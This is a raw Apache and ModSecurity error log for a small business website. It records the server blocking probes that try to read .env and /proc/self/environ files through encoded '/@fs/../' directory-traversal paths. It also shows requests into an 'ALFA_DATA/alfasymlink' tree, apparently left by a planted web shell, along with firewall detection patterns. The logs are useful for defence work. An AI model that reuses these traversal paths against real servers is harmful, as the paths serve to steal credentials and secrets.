[Sun Oct 25 18:09:26.555495 2026] [ssl:error] [pid 2909987:tid 2909987] (70014)End of file found: [client 52.54.249.218:43782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:28.733791 2026] [core:error] [pid 2909990:tid 2909990] (13)Permission denied: [client 94.249.51.133:6588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objects_partial
[Sun Oct 25 18:09:30.592947 2026] [ssl:error] [pid 2909994:tid 2909994] (70014)End of file found: [client 44.223.115.10:13717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:30.939294 2026] [core:error] [pid 2909992:tid 2909992] (13)Permission denied: [client 213.174.10.248:47420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objects_partial
[Sun Oct 25 18:09:35.771130 2026] [ssl:error] [pid 2910005:tid 2910005] (70014)End of file found: [client 52.2.191.202:61665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:41.051920 2026] [core:error] [pid 2910016:tid 2910016] (13)Permission denied: [client 109.107.226.232:31289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/alloc_calls
[Sun Oct 25 18:09:42.477522 2026] [security2:error] [pid 2910020:tid 2910020] [client 185.191.171.16:50958] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/litecart/php56/install.php"] [unique_id "at5-JjGS9gSGxU9gDXGHnwAAAD0"]
[Sun Oct 25 18:09:42.477561 2026] [security2:error] [pid 2910020:tid 2910020] [client 185.191.171.16:50958] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/litecart/php56/install.php"] [unique_id "at5-JjGS9gSGxU9gDXGHnwAAAD0"]
[Sun Oct 25 18:09:43.068348 2026] [core:error] [pid 2910019:tid 2910019] (13)Permission denied: [client 173.40.142.166:44879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/alloc_calls
[Sun Oct 25 18:09:44.295836 2026] [ssl:error] [pid 2910018:tid 2910018] (70014)End of file found: [client 54.163.169.168:44382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:46.755071 2026] [ssl:error] [pid 2908852:tid 2908852] (70014)End of file found: [client 34.235.239.240:53974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:50.756830 2026] [ssl:error] [pid 2909994:tid 2909994] (70014)End of file found: [client 3.218.35.239:59489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:02.572403 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 44.215.210.112:23524] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:06.806502 2026] [ssl:error] [pid 2909994:tid 2909994] (70014)End of file found: [client 3.210.223.61:6675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:10.853840 2026] [ssl:error] [pid 2909990:tid 2909990] (70014)End of file found: [client 98.84.70.201:46623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:14.642644 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 52.4.238.8:64371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:22.797082 2026] [ssl:error] [pid 2910022:tid 2910022] (70014)End of file found: [client 52.4.213.199:2698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:24.364696 2026] [authz_core:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 18:10:27.561997 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5-UzsPACk6z5hup_pd5gAAABE"]
[Sun Oct 25 18:10:27.562372 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5-UzsPACk6z5hup_pd5gAAABE"]
[Sun Oct 25 18:10:27.562662 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5-UzsPACk6z5hup_pd5gAAABE"]
[Sun Oct 25 18:10:27.591962 2026] [security2:error] [pid 2910023:tid 2910023] [client 34.107.58.202:49614] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5-UxZqt50BtOKu7PBGmwAAAEA"]
[Sun Oct 25 18:10:27.592331 2026] [security2:error] [pid 2910023:tid 2910023] [client 34.107.58.202:49614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5-UxZqt50BtOKu7PBGmwAAAEA"]
[Sun Oct 25 18:10:27.592588 2026] [security2:error] [pid 2910023:tid 2910023] [client 34.107.58.202:49614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5-UxZqt50BtOKu7PBGmwAAAEA"]
[Sun Oct 25 18:10:27.596791 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-Uwse5iC_31HL6KCsCAAAACE"]
[Sun Oct 25 18:10:27.596899 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-Uwse5iC_31HL6KCsCAAAACE"]
[Sun Oct 25 18:10:27.597289 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-Uwse5iC_31HL6KCsCAAAACE"]
[Sun Oct 25 18:10:27.597542 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-Uwse5iC_31HL6KCsCAAAACE"]
[Sun Oct 25 18:10:27.606640 2026] [authz_core:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 18:10:28.013133 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.107.58.202:49664] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5-VAYZaEKvpE7JCm_rOwAAAAA"]
[Sun Oct 25 18:10:28.013518 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.107.58.202:49664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5-VAYZaEKvpE7JCm_rOwAAAAA"]
[Sun Oct 25 18:10:28.013770 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.107.58.202:49664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5-VAYZaEKvpE7JCm_rOwAAAAA"]
[Sun Oct 25 18:10:28.109669 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5-VHubL73JO9nX5wfH8gAAAEI"]
[Sun Oct 25 18:10:28.109752 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5-VHubL73JO9nX5wfH8gAAAEI"]
[Sun Oct 25 18:10:28.109792 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5-VHubL73JO9nX5wfH8gAAAEI"]
[Sun Oct 25 18:10:28.110303 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5-VHubL73JO9nX5wfH8gAAAEI"]
[Sun Oct 25 18:10:28.110593 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5-VHubL73JO9nX5wfH8gAAAEI"]
[Sun Oct 25 18:10:28.173750 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5-VBZObLMoYzrxjLAihwAAAAM"]
[Sun Oct 25 18:10:28.174467 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5-VBZObLMoYzrxjLAihwAAAAM"]
[Sun Oct 25 18:10:28.174821 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5-VBZObLMoYzrxjLAihwAAAAM"]
[Sun Oct 25 18:10:28.191882 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VNKQ9ANbYqzP3RuiAwAAAAk"]
[Sun Oct 25 18:10:28.192547 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VNKQ9ANbYqzP3RuiAwAAAAk"]
[Sun Oct 25 18:10:28.192807 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VNKQ9ANbYqzP3RuiAwAAAAk"]
[Sun Oct 25 18:10:28.197361 2026] [security2:error] [pid 2910023:tid 2910023] [client 34.107.58.202:49614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5-VBZqt50BtOKu7PBGnAAAAEA"]
[Sun Oct 25 18:10:28.197741 2026] [security2:error] [pid 2910023:tid 2910023] [client 34.107.58.202:49614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5-VBZqt50BtOKu7PBGnAAAAEA"]
[Sun Oct 25 18:10:28.197970 2026] [security2:error] [pid 2910023:tid 2910023] [client 34.107.58.202:49614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5-VBZqt50BtOKu7PBGnAAAAEA"]
[Sun Oct 25 18:10:28.216008 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5-VAse5iC_31HL6KCsCQAAACE"]
[Sun Oct 25 18:10:28.216080 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5-VAse5iC_31HL6KCsCQAAACE"]
[Sun Oct 25 18:10:28.216156 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5-VAse5iC_31HL6KCsCQAAACE"]
